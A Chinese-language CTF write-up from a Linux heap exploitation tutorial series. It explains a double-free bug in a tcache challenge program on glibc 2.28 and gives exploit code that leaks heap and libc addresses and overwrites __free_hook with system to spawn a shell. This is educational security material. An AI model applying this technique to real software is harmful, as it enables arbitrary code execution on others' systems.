从零开始的Linux堆利用15 -- Tcache Practice

tcache的一个challenge程序

这个程序链接的是glibc2.28

image-20211231214731127

程序允许申请8次,释放5次,并且申请的空间大小只能是tcache支持的大小;

image-20211231221405393

程序的漏洞是double free,free的时候没有清除指向堆的指针

因为是challenge的程序,运行的时候是没有libc泄漏和堆地址泄漏的;

所以首先我们需要考虑使用unsortedbin leak泄漏libc

能够得到unsortedbin有这样几种可能:

  • 填满tcache之后得到unsortedbin
  • 申请不在tcache大小范围内的空间
  • 修改环境变量GLIBC_TUNABLE
  • 直接修改tcache将其改为full

关于这个环境变量GLIBC_TUNABLE

有一些影响malloc的环境变量,这里可以通过查看mallopt的手册看到

设置环境变量的方法一是可以直接在运行时终端中设置,或者可以调用mallopt函数设置

  • MALLOC_ARENA_MAX
  • MALLOC_ARENA_TEST
  • MALLOC_CHECK_
  • MALLOC_MMAP_MAX_
  • MALLOC_MMAP_THRESHOLD_
  • MALLOC_TOP_PAD_

这里可以看到MALLOC_MMAP_THRESHOLD_这个环境变量,就可以直接影响mmap_threshold

可能就在House of Rabbit中可以用到

GLIBC_TUNABLE则是另外的一系列环境变量,可以在gdb中使用p tunable_list查看

image-20220105125123668

tunable_list中有一项glibc.malloc.tcache_count,可以直接修改tcache的大小

如果程序运行时设置了GLIBC_TUNABLE,那么这个变量会被存在堆最起始的一部分区域中

这虽然看起来在local exploitation中很有用,但是有一些限制

例如glibc.malloc.tcache_count这一项的security_level=TUNABLE_SECLEVEL_SXID_ERASE,这样的变量就无法传递给setuid的程序,setuid相关的内容可以看这篇博客

前面三项都没办法实现,填满tcache需要申请7次以上,但是这个程序限制了申请数量为8;

那么可以尝试的方法就是直接去修改tcache,让tcache以为自己已经满了

要实现这样的目标,首先需要有一个堆地址的泄漏

chunk_A = malloc(0x18, 'aaaa')
free(chunk_A)
free(chunk_A)

chunk_B = malloc(0x18,'bbbb')
free(chunk_A)

申请了chunk_B之后由于覆盖了原本chunk_A第二次free掉时tcache的next指针

所以在申请之后需要再一次释放掉chunk_A,这时利用chunk_B的指针读取就能得到一个指向chunk_B自己的地址

image-20220105154038937

减去0x260之后就是堆的起始地址了

接下来的问题就是泄漏libc的地址,再次malloc一个相同大小的chunk,修改tcache的指针指向堆开始的位置,将unsortedbin对应大小的chunk数量改为7

为了节省申请chunk的次数,把0x18改为0x88,这样直接就是unsortedbin的大小了

chunk_A = malloc(0x88, 'aaaa')

malloc(0x18, 'aaaa')

free(chunk_A)
free(chunk_A)

chunk_B = malloc(0x88,'bbbb')
free(chunk_A)

heap = u64(read(chunk_B)) - 0x260

chunk_C = malloc(0x88, p64(heap+0x10))
# chunk_C也和chunk_B指向一个位置
chunk_D = malloc(0x88, 'dddd')
# 把0x250位置的chunk申请下来
# 这时B、C、D都指向同一个位置

chunk_heap = malloc(0x88, p64(0x0700000000000000))
# 修改0x88的tcache count为7

free(chunk_B)

执行完毕之后查看堆,可以看到chunk_B被放入到了unsortedbin中

image-20220105160252699

由于之前B、C、D都是指向这一个位置,可以直接用C或是D的指针来读取unsortedbin的fd、bk

libc.address = u64(read(chunk_C)[:8])-0x70-libc.sym.__malloc_hook

有了libc地址,接下来就可以再一次使用tcache dup直接去修改__free_hook的值了

这时还剩下两次malloc和一次free

如果想要用__free_hook获取shell的话那就只能使用malloc了

之前申请的chunk_heap直接指向了tcache,但是我们只用它修改了0x88的tcache count

如果在这次请求中一同修改掉某个tcache next指针呢

image-20220105161815358

0x20大小的chunk的tcache next偏移在0x50位置,如果把这个地方改为指向自己的指针

接下来申请两次就能够实现类似tcache dup的效果了

# === Leak Heap

chunk_A = malloc(0x88, 'aaaa')

binsh = malloc(0x18, '/bin/sh')

free(chunk_A)
free(chunk_A)

chunk_B = malloc(0x88,'bbbb')
free(chunk_A)

heap = u64(read(chunk_B)) - 0x260

# === Leak Libc

chunk_C = malloc(0x88, p64(heap+0x10))
# chunk_C也和chunk_B指向一个位置
chunk_D = malloc(0x88, 'dddd')
# 把0x250位置的chunk申请下来
# 这时B、C、D都指向同一个位置

# chunk_heap = malloc(0x88, p64(0x0700000000000000))
# # 修改0x88的tcache count为7

chunk_heap = malloc(0x88, p64(0x0700000000000000)+p8(0)*56+p64(heap+0x50))
# 修改0x20大小的tcache next指向自己

free(chunk_B)

libc.address = u64(read(chunk_C)[:8])-0x70-libc.sym.__malloc_hook

# === hijack __free_hook
malloc(0x18, libc.sym.__free_hook-0x10)
malloc(0x18, libc.sym.system)
free(binsh)

最终就获得了shell

image-20220105164517506